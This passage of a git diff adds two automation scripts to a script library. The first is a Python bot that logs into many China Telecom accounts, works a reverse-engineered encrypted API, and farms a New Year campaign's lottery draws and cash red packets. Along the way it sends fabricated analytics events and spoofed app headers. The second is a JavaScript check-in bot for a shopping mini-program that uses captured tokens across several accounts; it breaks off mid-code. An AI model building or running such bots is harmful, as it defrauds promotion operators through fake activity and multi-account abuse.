f"{self.BASE_URL}/h5v/fusion/ai-luck-flow?ca=AP3V&cc={CHANNEL_ID}&utm_scha=utm_ch-010001002009.utm_sch-hg_xx_qlxx-1-104705800001-105782800001.utm_af-1000000037.utm_as-158492900001.utm_sd1-default", + "X-Requested-With": "com.ct.client", + "sec-ch-ua": '"Chromium";v="140", "Not=A?Brand";v="24", "Android WebView";v="140"', + "sec-ch-ua-mobile": "?1", + "sec-ch-ua-platform": '"Android"', + "Sec-Fetch-Site": "same-origin", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" + }) + + + + def request_plain(self, endpoint: str, params: dict = None) -> dict: + url = f"{self.BASE_URL}{endpoint}" + response = self.session.post(url, params=params, timeout=30) + return response.json() + + def request_encrypted(self, endpoint: str, params: dict) -> dict: + self.session.headers["imencrypt"] = "1" + imrandomnum = generate_random_string(16) + imtimestamp = str(int(time.time() * 1000)) + imencryptkey = encryptmd5(imtimestamp, imrandomnum) + + form_data = {"channelId": CHANNEL_ID, "portal": "45"} + form_data.update(params) + encrypted_form = encrypt_request(form_data, imrandomnum, imtimestamp, imencryptkey) + + headers = { + "imencryptkey": imencryptkey, + "imrandomnum": imrandomnum, + "imtimestamp": imtimestamp, + } + url = f"{self.BASE_URL}{endpoint}" + response = self.session.post(url, params={"formData": encrypted_form}, headers=headers, timeout=30) + + new_auth = response.headers.get("Authorization") + if new_auth: + self.token = new_auth + self.session.headers["Authorization"] = f"Bearer {new_auth}" + + try: + return decrypt_response(response.text, imrandomnum, imtimestamp, imencryptkey) + except: + return {"raw": response.text} + + def get_user_info(self, mobile: str) -> dict: + params = {"channelId": CHANNEL_ID, "portal": "45", "mobile": mobile} + return self.request_plain("/vapi/new_member/get_user_info", params) + + def check_user_state(self, mobile: str) -> dict: + params = {"mobile": mobile, "is4G": "1", "is5G": "1", "isDX": "1", "channelId": CHANNEL_ID, "portal": "45"} + return self.request_plain("/vapi/vrbt/check_user_state", params) + + def query_template_list(self, page_no: int = 1, page_size: int = 10) -> dict: + params = { + "pageNo": page_no, "pageSize": page_size, "activityId": ACTIVITY_ID, + "apiName": "diy/DiyVideoApi/queryActRecommendTemplateList", + "channelId": CHANNEL_ID, "portal": "45" + } + return self.request_plain("/hapi/de/api", params) + + def send_stat_message(self, mobile: str, actname: str, actparam: str) -> dict: + params = { + "mobile": mobile, + "actname": actname, + "actparam": actparam + } + return self.request_encrypted("/vapi/vue_stat/sendMessage", params) + + def template_make(self, mobile: str, template_id: str, template_conf_id: str, + template_name: str, user_words: str = "", arrange_id: str = "", **kwargs) -> dict: + params = { + "channelId": CHANNEL_ID, + "portal": "45", + "mobile": mobile, + "openId": "", + "makeId": "", + "background": "", + "userPhotos": "", + "userWords": user_words, + "templateName": template_name, + "videoName": template_name, + "templateId": template_id, + "templateConfId": template_conf_id, + "aid": ACTIVITY_ID, + "aiPack": 0, + "arrangeId": arrange_id, + "autoOrderUgc": 0, + "aiGatewayImagMakeId": "", + "fromType": "", + "sessionId": "" + } + params.update(kwargs) + return self.request_encrypted("/hapi/diy_video/au/template_make_add_v2", params) + + def get_score(self, mobile: str, score_type: int = 1) -> dict: + params = { + "activityId": ACTIVITY_ID, + "mobile": mobile, + "type": score_type, + "apiName": "act/ActApi/getDoubleTotalScoreOrRemainingScore" + } + return self.request_encrypted("/hapi/en/api", params) + + def do_lottery(self, mobile: str) -> dict: + params = { + "activityId": ACTIVITY_ID, + "mobile": mobile, + "apiName": "act/ActApi/doubleFestivalLottery" + } + return self.request_encrypted("/hapi/en/api", params) + + def do_egg_lottery(self, mobile: str, activity_id: str = "1611") -> dict: + params = { + "activityId": activity_id, + "mobile": mobile, + "apiName": "act/ActApi/doubleEggLottery" + } + return self.request_encrypted("/hapi/en/api", params) + + def get_lottery_times(self, mobile: str, activity_id: str = "1611") -> dict: + params = { + "mobile": mobile, + "activityId": activity_id + } + return self.request_encrypted("/hapi/activity/au/get_act_lottery_times", params) + + def query_new_year_templates(self, page_no: int = 1, page_size: int = 500) -> dict: + params = { + "pageNo": page_no, + "pageSize": page_size, + "activityId": "0090_2", + "apiName": "diy/DiyVideoApi/queryActRecommendTemplateList", + "channelId": CHANNEL_ID, + "portal": "45" + } + return self.request_plain("/hapi/de/api", params) + + def make_new_year_video(self, mobile: str, template_data: dict) -> dict: + + template_id = template_data.get("templateId", "") + template_conf_id = template_data.get("templateConfId", "") + video_name = template_data.get("videoName", "") + user_words = template_data.get("userWords", "") + random_suffix = random.randint(100000, 999999) + video_name_with_suffix = f"{video_name}{random_suffix}" + + params = { + "mobile": mobile, + "openId": "", + "background": template_id, + "userPhotos": "", + "userWords": user_words, + "templateName": "", + "videoName": video_name_with_suffix, + "templateId": template_id, + "templateConfId": template_conf_id, + "aid": "ai090", + "inviterMobile": "", + "arrangeId": "", + "autoOrderUgc": 0, + "aiGatewayImagMakeId": "", + "fromType": "", + "sessionId": "" + } + return self.request_encrypted("/hapi/diy_video/au/template_make_add_v2", params) + + def ai_agent_chat(self, mobile: str, content: str, agent_id: str = "", from_act: str = "cny", session_id: str = "") -> dict: + params = { + "apiName": "diy/AiAgentChatApi/aiAgentChat", + "content": content, + "mobile": mobile, + "agentId": agent_id, + "fromAct": from_act, + "sessionId": session_id + } + return self.request_encrypted("/hapi/en/api", params) + + def control_confirm_submit(self, mobile: str, session_id: str, confirm_id: int, text_list: list, + agent_id: str = "text_to_image", from_act: str = "cny") -> dict: + params = { + "apiName": "diy/AiAgentChatApi/controlConfirmSubmit", + "content": "", + "mobile": mobile, + "sessionId": session_id, + "confirmId": confirm_id, + "channelId": "", + "portal": "45", + "agentId": agent_id, + "triggerSource": "card_submit", + "textList": text_list, + "fromAct": from_act + } + return self.request_encrypted("/hapi/en/api", params) + + def check_ai_agent_result(self, mobile: str, task_id: str) -> dict: + params = { + "apiName": "diy/AiAgentChatApi/checkAiAgentResult", + "mobile": mobile, + "taskId": task_id + } + return self.request_encrypted("/hapi/en/api", params) + + def query_person_tasks(self, mobile: str, activity_id: str = "ai090") -> dict: + params = { + "apiName": "act/ActApi/queryPersonTasks", + "mobile": mobile, + "activityId": activity_id + } + return self.request_encrypted("/hapi/en/api", params) + + def query_red_packet_balance(self, mobile: str, activity_id: str = "1611") -> dict: + params = { + "apiName": "act/ActApi/doubleEggCostRedeemInfo", + "mobile": mobile, + "activityId": activity_id + } + return self.request_encrypted("/hapi/en/api", params) + + def redeem_red_packet(self, mobile: str, cost_value: float, activity_id: str = "1611") -> dict: + params = { + "apiName": "act/ActApi/doubleEggCostRedeem", + "mobile": mobile, + "activityId": activity_id, + "costValue": cost_value + } + return self.request_encrypted("/hapi/en/api", params) + + +def process_new_year_lottery(phone: str, password: str, account_idx: int = 0, total_accounts: int = 0): + print(f"\n{'='*50}") + print(f"处理账号: {phone} ({account_idx}/{total_accounts})") + print(f"活动: 2026新年星辰") + print(f"{'='*50}") + + print("\n[1] 账密登录...") + login_result = userLoginNormal(phone, password) + if not login_result: + print("❌ 登录失败") + return False + print("✓ 登录成功") + print("\n[2] 获取ticket...") + ticket = get_ticket(phone, login_result['userId'], login_result['token']) + if not ticket: + print("❌ 获取ticket失败") + return False + print("✓ 获取ticket成功") + print("\n[3] SSO登录...") + token, cookies = sso_login_v2(ticket) + if not token: + print("❌ SSO登录失败") + return False + print(f"✓ SSO登录成功") + + api = InviteAPI(token, cookies) + + print("\n[4] 查询任务状态...") + tasks_result = api.query_person_tasks(phone) + + task1_completed = False + task2_completed = False + + if tasks_result.get("code") == "0000": + tasks = tasks_result.get("data", {}).get("tasks", []) + print(f"✓ 获取到 {len(tasks)} 个任务\n") + + for task in tasks: + task_name = task.get("taskName", "") + task_type = task.get("taskType", "") + task_state = task.get("taskState", 0) # 0=未完成, 1=已完成 + current_progress = task.get("currentProgress", 0) + target_progress = task.get("targetProgress", 0) + lottery_count = task.get("lotteryCount", 0) + + state_text = "✓ 已完成" if task_state == 1 else "○ 未完成" + print(f" {state_text} {task_name} ({current_progress}/{target_progress}) - 奖励: +{lottery_count}次") + + if task_type == "video_make": + task1_completed = (task_state == 1) + elif task_type == "ai_agent_chat": + task2_completed = (task_state == 1) + + print() + else: + print(f"⚠ 查询失败,继续执行任务\n") + + print("[5] 查询初始抽奖次数...") + lottery_times_result = api.get_lottery_times(phone) + if lottery_times_result.get("code") == "0000": + initial_times = lottery_times_result.get("data", 0) + print(f"✓ 当前抽奖次数: {initial_times}") + else: + print(f"⚠ 查询失败") + initial_times = 0 + + print("\n" + "="*50) + print("【任务1】制作同款视频(获得抽奖次数)") + print("="*50) + + if task1_completed: + print("\n✓ 任务1已完成,跳过") + task1_success = True + else: + print("\n[6] 查询新年模板列表...") + templates_result = api.query_new_year_templates() + if templates_result.get("code") != "0000": + print(f"❌ 获取模板列表失败: {templates_result}") + task1_success = False + else: + template_list = templates_result.get("data", {}).get("list", []) + if not template_list: + print("❌ 模板列表为空") + task1_success = False + else: + print(f"✓ 获取到 {len(template_list)} 个模板") + + print(f"\n[7] 开始制作视频 (共3次)...") + task1_success_count = 0 + available_templates = template_list.copy() + + success_count = 0 + attempt_count = 0 + max_attempts = min(len(available_templates), 10) # 最多尝试10次 + + while success_count < 3 and attempt_count < max_attempts and available_templates: + attempt_count += 1 + + template = random.choice(available_templates) + video_name = template.get("videoName", "") + template_id = template.get("templateId", "") + user_words = template.get("userWords", "") + + print(f"\n 制作第 {success_count + 1}/3 次 (尝试 {attempt_count})...") + print(f" 模板: {video_name} (ID: {template_id})") + if not template_id or not user_words: + print(f" ⚠ 模板缺少必要字段,跳过此模板") + available_templates.remove(template) + continue + + result = api.make_new_year_video(phone, template) + code = result.get("code", "") + msg = result.get("message", result.get("desc", str(result))) + + available_templates.remove(template) + + if code == "0000": + data = result.get("data", {}) + add_lottery_times = data.get("addLotteryTimes", 0) + add_huango_times = data.get("addHuanGoLotteryTimes", "0") + print(f" ✓ 制作成功! 获得抽奖次数: {add_lottery_times}, 换购次数: {add_huango_times}") + success_count += 1 + task1_success_count += 1 + else: + print(f" ✗ 制作失败: {msg},尝试下一个模板") + + if success_count < 3 and available_templates: + time.sleep(1) + + print(f"\n任务1完成: {success_count}/3 成功 (共尝试 {attempt_count} 次)") + task1_success = success_count > 0 + + lottery_times_result = api.get_lottery_times(phone) + if lottery_times_result.get("code") == "0000": + after_task1_times = lottery_times_result.get("data", 0) + print(f"✓ 当前抽奖次数: {after_task1_times}") + else: + print(f"⚠ 查询失败") + after_task1_times = initial_times + + print("\n" + "="*50) + print("【任务2】去智能体创作(获得抽奖次数)") + print("="*50) + + if task2_completed: + print("\n✓ 任务2已完成,跳过") + task2_success_count = 3 + else: + ai_prompts = [ + "生成一张马年春节窗花剪纸的图片", + "生成一张新年祝福的中国风图片", + "生成一张春节喜庆氛围的图片" + ] + + print(f"\n[9] 开始AI对话生成图片 (共3次)...") + task2_success_count = 0 + session_id = "" + + for chat_idx in range(3): + prompt = ai_prompts[chat_idx % len(ai_prompts)] + print(f"\n === 第 {chat_idx + 1}/3 次生成 ===") + print(f" 提示词: {prompt}") + + print(f" [1/3] 发起AI对话...") + result1 = api.ai_agent_chat(phone, prompt, session_id=session_id) + code1 = result1.get("code", "") + + if code1 != "0000": + msg = result1.get("desc", result1.get("message", "未知错误")) + print(f" ✗ 对话失败: {msg}") + continue + + data1 = result1.get("data", {}) + session_id = data1.get("sessionId", "") + confirm_id = data1.get("id", 0) + card_params = data1.get("cardParameterList", {}) + text_list = card_params.get("textList", []) + + print(f" ✓ 对话成功,confirmId: {confirm_id}") + + if not text_list: + print(f" ⚠ textList为空,跳过此次生成") + continue + + print(f" [2/3] 确认提交生成...") + result2 = api.control_confirm_submit(phone, session_id, confirm_id, text_list) + code2 = result2.get("code", "") + + if code2 != "0000": + msg = result2.get("desc", result2.get("message", "未知错误")) + print(f" ✗ 提交失败: {msg}") + continue + + data2 = result2.get("data", {}) + task_id = data2.get("taskId", "") + content = data2.get("content", "") + + print(f" ✓ 提交成功,taskId: {task_id}") + print(f" 响应: {content[:80]}..." if len(content) > 80 else f" 响应: {content}") + + print(f" [3/3] 等待生成完成...这步冗余,保留了") + max_check_times = 15 + check_interval = 2 + + for check_idx in range(max_check_times): + time.sleep(check_interval) + + result3 = api.check_ai_agent_result(phone, task_id) + code3 = result3.get("code", "") + desc3 = result3.get("desc", "") + + if code3 == "0000": + print(f" ✓ 生成完成! ({check_idx + 1}次检查)") + task2_success_count += 1 + break + elif code3 == "10008": + print(f" ⏳ 制作中... ({check_idx + 1}/{max_check_times})") + continue + else: + print(f" ✗ 生成失败: {desc3}") + break + else: + print(f" ⚠ 等待超时,跳过") + + if chat_idx < 2: + print(f" 等待2秒后进行下一次生成...") + time.sleep(2) + + print(f"\n任务2完成: {task2_success_count}/3 成功") + + print("\n" + "="*50) + print("【抽奖环节】") + print("="*50) + print("\n[9] 查询最终抽奖次数...") + lottery_times_result = api.get_lottery_times(phone) + if lottery_times_result.get("code") == "0000": + final_times = lottery_times_result.get("data", 0) + print(f"✓ 最终抽奖次数: {final_times}") + else: + print(f"⚠ 查询失败,跳过抽奖") + final_times = 0 + + total_red_packet = 0.0 # 累计红包金额 + if final_times > 0: + print(f"\n开始抽奖 (共{final_times}次)...") + lottery_success = 0 + awards = [] + + for lottery_idx in range(final_times): + print(f"\n 第 {lottery_idx + 1}/{final_times} 次抽奖...") + lottery_result = api.do_egg_lottery(phone) + + if lottery_result.get("code") == "0000": + data = lottery_result.get("data", {}) + award_name = data.get("awardName", "未知奖品") + awards.append(award_name) + print(f" ✓ {award_name}") + lottery_success += 1 + money_match = re.search(r'(\d+\.?\d*)元', award_name) + if money_match: + money = float(money_match.group(1)) + total_red_packet += money + else: + msg = lottery_result.get("desc", lottery_result.get("message", "未知错误")) + print(f" ✗ 抽奖失败: {msg}") + + if lottery_idx < final_times - 1: + time.sleep(0.5) # 抽奖间隔 + + print(f"\n抽奖完成: {lottery_success}/{final_times} 成功") + if awards: + print(f"获得奖品: {', '.join(awards)}") + if total_red_packet > 0: + print(f"累计红包: {total_red_packet:.2f}元") + else: + print(f"\n跳过抽奖 (抽奖次数为0)") + + print(f"\n查询红包余额...") + + balance_result = api.query_red_packet_balance(phone) + if balance_result.get("code") == "0000": + data = balance_result.get("data", {}) + already_redeem = data.get("alreadyRedeemValue", "0") + balance_cost = data.get("balanceCostValue", "0") + already_redeem_costs = data.get("alreadyRedeemCosts", []) + + print(f" ✓ 查询成功!") + print(f" 累计已兑换: {already_redeem}元") + print(f" 剩余可兑换: {balance_cost}元") + + if already_redeem_costs: + print(f" 已兑换记录:") + for record in already_redeem_costs: + award_name = record.get("awardName", "") + update_date = record.get("updateDate", "") + print(f" - {award_name} ({update_date})") + + try: + balance_float = float(balance_cost) + if balance_float >= 2.0: + print(f"\n 💰 可兑换金额已满2元,开始兑换...") + + redeem_result = api.redeem_red_packet(phone, balance_float) + if redeem_result.get("code") == "0000": + redeem_data = redeem_result.get("data", {}) + extract_value = redeem_data.get("extractValue", "0") + new_already_redeem = redeem_data.get("alreadyRedeemValue", "0") + new_balance = redeem_data.get("balanceCostValue", "0") + + print(f" ✓ 兑换成功!") + print(f" 本次提取: {extract_value}元") + print(f" 累计已兑换: {new_already_redeem}元") + print(f" 剩余可兑换: {new_balance}元") + else: + msg = redeem_result.get("desc", redeem_result.get("message", "未知错误")) + print(f" ✗ 兑换失败: {msg}") + else: + print(f" ℹ️ 需满2元才能兑换(还差{2.0 - balance_float:.2f}元)") + except Exception as e: + print(f" ⚠ 处理失败: {e}") + else: + msg = balance_result.get("desc", balance_result.get("message", "未知错误")) + print(f" ✗ 查询失败: {msg}") + stat_result = api.send_stat_message( + phone, + "activity_2512new-year-2026_30.1", + "activityID_ai090_ca_dljA" + ) + if stat_result.get("code") == "0000": + pass + else: + print(f"发送失败: {stat_result.get('desc', '')}") + + print(f"\n{'='*50}") + print(f"账号 {phone} 处理完成") + print(f"{'='*50}") + + return task1_success or task2_success_count > 0 + + +def process_account(phone: str, password: str, account_idx: int = 0, total_accounts: int = 0): + print(f"\n{'='*50}") + print(f"处理账号: {phone} ({account_idx}/{total_accounts})") + print(f": {INVITATION_CODE[:20]}...") + print(f"{'='*50}") + print("\n[1] 账密登录...") + login_result = userLoginNormal(phone, password) + if not login_result: + print("❌ 登录失败") + return False + print("✓ 登录成功") + + print("\n[2] 获取ticket...") + ticket = get_ticket(phone, login_result['userId'], login_result['token']) + if not ticket: + print("❌ 获取ticket失败") + return False + print("✓ 获取ticket成功") + + print("\n[3] SSO登录...") + token, cookies = sso_login_v2(ticket) + if not token: + print("❌ SSO登录失败") + return False + print(f"✓ SSO登录成功,token: {token[:50]}...") + + api = InviteAPI(token, cookies) + + print("\n获取用户信息...") + user_info = api.get_user_info(phone) + if user_info.get("code") == "0000": + print(f"✓ 用户信息获取成功") + else: + print(f"用户信息: {user_info}") + + # Step 7: 检查用户状态 + print("\n[6] 检查用户状态...") + user_state = api.check_user_state(phone) + print(f"用户状态: {user_state}") + + # Step 8: 查询推荐模板列表 + print("\n[8] 查询推荐模板列表...") + templates = api.query_template_list() + template_list = templates.get("data", {}).get("list", []) + if not template_list: + print("❌ 未获取到模板列表") + return False + print(f"✓ 获取到 {len(template_list)} 个模板") + + # Step 9: 选择第一个模板进行制作 + tpl = template_list[0] + template_id = tpl.get("templateId", "") + template_conf_id = tpl.get("templateConfId", "") + video_name = tpl.get("videoName", "") + user_words = tpl.get("userWords1", "1234") + arrange_id = str(tpl.get("arrangeId", "")) + + # 如果有输入限制,生成符合要求的内容 + word_min = tpl.get("wordMinCount", 0) + limit_regular = tpl.get("limitRegular", "") + + if limit_regular == "/^\\d+$/" and word_min > 0: + # 数字输入(如手机尾号) + user_words = phone[-word_min:] if len(phone) >= word_min else phone + elif word_min > 0 and not user_words: + user_words = "接福" # 默认文字 + + print(f"\n[9] 开始制作模板 (共{MAKE_COUNT}次)...") + print(f" 模板: {video_name}") + print(f" 模板ID: {template_id}") + print(f" 配置ID: {template_conf_id}") + print(f" 用户输入: {user_words}") + print(f" : {INVITATION_CODE[:20]}...") + + # Step 10: 循环制作 + success_count = 0 + for make_idx in range(MAKE_COUNT): + print(f"\n 制作第 {make_idx + 1}/{MAKE_COUNT} 次...") + result = api.template_make( + mobile=phone, + template_id=template_id, + template_conf_id=template_conf_id, + template_name=video_name, + user_words=user_words, + arrange_id=arrange_id + ) + msg = result.get("message", result.get("desc", str(result))) + code = result.get("code", "") + print(f" 结果: {msg}") + if code == "0000": + success_count += 1 + if make_idx < MAKE_COUNT - 1: + time.sleep(0.5) + + print(f"\n制作完成: {success_count}/{MAKE_COUNT} 成功") + + if success_count > 0: + actparam_base = f"activityID_{ACTIVITY_ID}_templateID_{template_id}_entrance_{CHANNEL_ID}_templateConfID_{template_conf_id}_ca_AP3V" + + stat_events = [ + ("activity_vring_make_20250616", actparam_base), + ("activity_2511AI-makeonekey_9.2", actparam_base), + ("activity_vring_make_1.9", f"_activityID_{ACTIVITY_ID}_templateID_{template_id}_entrance_{CHANNEL_ID}_templateconfID_{template_conf_id}_ca_AP3V"), + ("activity_2511AI-makeonekey_1.6", f"activityID_{ACTIVITY_ID}_templateID_{template_id}_entrance_{CHANNEL_ID}_templateconfID_{template_conf_id}_ca_AP3V"), + ("page_2511AI-makeonekey_9", actparam_base), + ("page_2511AI-makeonekey_3", actparam_base), + ("with_vring_display_20250616", actparam_base), + ("with_vring_slide_display_20250829", actparam_base), + ("with_vring_stay_duration", f"activityID_{ACTIVITY_ID}_entrance_{CHANNEL_ID}_duration_15_ca_AP3V"), + ] + + for actname, actparam in stat_events: + try: + stat_result = api.send_stat_message(phone, actname, actparam) + if stat_result.get("code") == "0000": + print(f" ✓ {actname}") + else: + print(f" ⚠ {actname}: {stat_result.get('desc', '')}") + except Exception as e: + print(f" ⚠ {actname}: {str(e)}") + time.sleep(0.1) + + print("\n查看积分...") + score_result = api.get_score(phone) + current_score = 0 + if score_result.get("code") == "0000": + current_score = int(score_result.get("data", "0")) + print(f"✓ 当前积分: {current_score}") + else: + print(f"积分查询: {score_result}") + + if MIN_SCORE_TO_LOTTERY > 0 and current_score >= MIN_SCORE_TO_LOTTERY: + print(f"\n[13] 抽奖 (积分{current_score} >= 阈值{MIN_SCORE_TO_LOTTERY})...") + lottery_result = api.do_lottery(phone) + if lottery_result.get("code") == "0000": + award_data = lottery_result.get("data", {}) + award_name = award_data.get("awardName", "未知") + print(f"✓ 抽奖结果: {award_name}") + else: + print(f"抽奖失败: {lottery_result}") + elif MIN_SCORE_TO_LOTTERY == 0: + print(f"\n[13] 跳过抽奖 (阈值设为0,不抽奖)") + else: + print(f"\n[13] 跳过抽奖 (积分{current_score} < 阈值{MIN_SCORE_TO_LOTTERY})") + + if success_count > 0: + print("✓ 兑换成功!") + return True + else: + print("❌ 兑换失败") + return False + + +def main(): + accounts = parse_accounts(ACCOUNTS_STR) + if not accounts: + print("错误: 未配置账号") + return + + print("=" * 50) + print("电信彩玲AI脚本 - 2026新年星辰活动") + print(f"渠道ID: {CHANNEL_ID}") + print(f"共 {len(accounts)} 个账号") + print("=" * 50) + print("\n活动说明:") + print(" 任务1: 制作新年视频 (3次) → 获得抽奖次数") + print(" 任务2: AI对话生成图片 (3次) → 获得抽奖次数") + print(" 最后: 使用获得的次数进行抽奖") + print("=" * 50) + + total = len(accounts) + success_count = 0 + for idx, (phone, password) in enumerate(accounts): + if process_new_year_lottery(phone, password, idx + 1, total): + success_count += 1 + if idx < len(accounts) - 1: + print(f"\n等待3秒后处理下一个账号...") + time.sleep(3) + + print(f"\n{'='*50}") + print(f"全部处理完成: {success_count}/{total} 成功") + print(f"{'='*50}") + + +if __name__ == "__main__": + main() + diff --git a/脚本库/微信小程序/抓包版/this官方商城/2025-06-28_this官方商城_7916a729.js b/脚本库/微信小程序/抓包版/this官方商城/2025-06-28_this官方商城_7916a729.js new file mode 100644 index 0000000..f790e2a --- /dev/null +++ b/脚本库/微信小程序/抓包版/this官方商城/2025-06-28_this官方商城_7916a729.js @@ -0,0 +1,159 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/this%E5%AE%98%E6%96%B9%E5%95%86%E5%9F%8E.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/this%E5%AE%98%E6%96%B9%E5%95%86%E5%9F%8E.js +// # Repo: jdqlscript/toulu +// # Path: this官方商城.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: 7916a72936d4a9aacda86d9ab03280f95d2d9d04e8e84383fb0829be122e04cd +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: smallfawn 860562056 +@Date: 2024.06.09 13.27 +@Description: this官方商城小程序 签到 +------------------------------------------ +变量名this +变量值https://xcx.this.cn/api/ 域名下请求头Headers中authori-zation的值 去掉Bearer 多账号&或换行或新建同名变量 +[Script] +http-response + +[MITM] +hostname = + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const $ = new Env("this官方商城"); +let ckName = `this`; +let userCookie = checkEnv( + ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "" +); +const notify = $.isNode() ? require("./sendNotify") : ""; + +!(async () => { + console.log( + `==================================================\n 脚本执行 - 北京时间(UTC+8): ${new Date( + new Date().getTime() + + new Date().getTimezoneOffset() * 60 * 1000 + + 8 * 60 * 60 * 1000 + ).toLocaleString()} \n==================================================` + ); + //console.log(userCookie) + if (!userCookie?.length) return console.log(`没有找到CK哦`); + let index = 1; + let strSplitor = "#"; + + for (let user of userCookie) { + $.log(`\n🚀 user:【${index}】 start work\n`); + index++ + $.token = user + $.ckStatus = true; + await info() + } + + await $.sendMsg($.logs.join("\n")); +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); +async function info() { + let data = JSON.stringify({ + "sign": 1 + }); + + let config = { + method: 'POST', + url: 'https://xcx.this.cn/api/sign/user', + headers: { + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220089 MMWEBSDK/20240404 MMWEBID/8150 MicroMessenger/8.0.49.2600(0x28003156) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android', + 'Accept-Encoding': 'gzip,compress,br,deflate', + 'Content-Type': 'application/json', + 'charset': 'utf-8', + 'form-type': 'routine', + 'authori-zation': 'Bearer ' + $.token, + 'Referer': 'https://servicewechat.com/wx1c228827dfa0de9e/13/page-frame.html' + }, + data: data + }; + let { data: result } = await Request(config) + if (result?.status == 200) { + $.log(`${result.data.nickname} 累计签到[${result.data.sign_num}]天 当前积分[${result.data.integral}]分`) + if (result.data.is_day_sgin !== true) { + $.log(`未签到 ===> 签到ing`) + await signIn() + } else { + $.log(`已签到 ===> 跳过签到`) + } + } else { + $.log(result.msg) + } +} +async function signIn() { + let data = JSON.stringify({}); + + let config = { + method: 'POST', + url: 'https://xcx.this.cn/api/sign/integral', + headers: { + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220089 MMWEBSDK/20240404 MMWEBID/8150 MicroMessenger/8.0.49.2600(0x28003156) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android', + 'Accept-Encoding': 'gzip,compress,br,deflate', + 'Content-Type': 'application/json', + 'charset': 'utf-8', + 'form-type': 'routine', + 'authori-zation': 'Bearer ' + $.token, + 'Referer': 'https://servicewechat.com/wx1c228827dfa0de9e/13/page-frame.html' + }, + data: data + }; + let { data: result } = await Request(config) + if (result?.status == 200) { + $.log(`签到成功:[${result.msg}]`) + } else { + $.log(result.msg) + } +} + + +function checkEnv(userCookie) { + const envSplitor = ["&", "\n"]; + //console.log(userCookie); + let userList = userCookie + .split(envSplitor.find((o) => userCookie.includes(o)) || "&") + .filter((n) => n); + console.log(`共找到${userList.length}个账号`); + return userList; +} +// prettier-ignore +function Env(t, s) { return new (class { constructor(t, s) { this.name = t; this.logs = []; this.logSeparator = "\n"; this.startTime = new Date().getTime(); Object.assign(this, s); this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } queryStr(options) { return Object.entries(options).map(([key, value]) => `${key}=${typeof value === "object" ? JSON.stringify(value) : value}`).join("&") } getURLParams(url) { const params = {}; const queryString = url.split("?")[1]; if (queryString) { const paramPairs = queryString.split("&"); paramPairs.forEach((pair) => { const [key, value] = pair.split("="); params[key] = value }) } return params } isJSONString(str) { try { return JSON.parse(str) && typeof JSON.parse(str) === "object" } catch (e) { return false } } isJson(obj) { var isjson = typeof obj == "object" && Object.prototype.toString.call(obj).toLowerCase() == "[object object]" && !obj.length; return isjson } async sendMsg(message) { if (!message) return; if (this.isNode()) { await notify.sendNotify(this.name, message) } else { this.msg(this.name, "", message) } } randomNumber(length) { const characters = "0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } randomString(length) { const characters = "abcdefghijklmnopqrstuvwxyz0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } uuid() { return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (c) { var r = (Math.random() * 16) | 0, v = c == "x" ? r : (r & 0x3) | 0x8; return v.toString(16) }) } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) { new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))) } return t } msg(title = t, subtitle = "", body = "", options) { const formatOptions = (options) => { if (!options) { return options } else if (typeof options === "string") { if (this.isQuanX()) { return { "open-url": options } } else { return undefined } } else if (typeof options === "object" && (options["open-url"] || options["media-url"])) { if (this.isQuanX()) { return options } else { return undefined } } else { return undefined } }; if (!this.isMute) { if (this.isQuanX()) { $notify(title, subtitle, body, formatOptions(options)) } } let logs = ["", "==============📣系统通知📣=============="]; logs.push(title); subtitle ? logs.push(subtitle) : ""; body ? logs.push(body) : ""; console.log(logs.join("\n")); this.logs = this.logs.concat(logs) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), 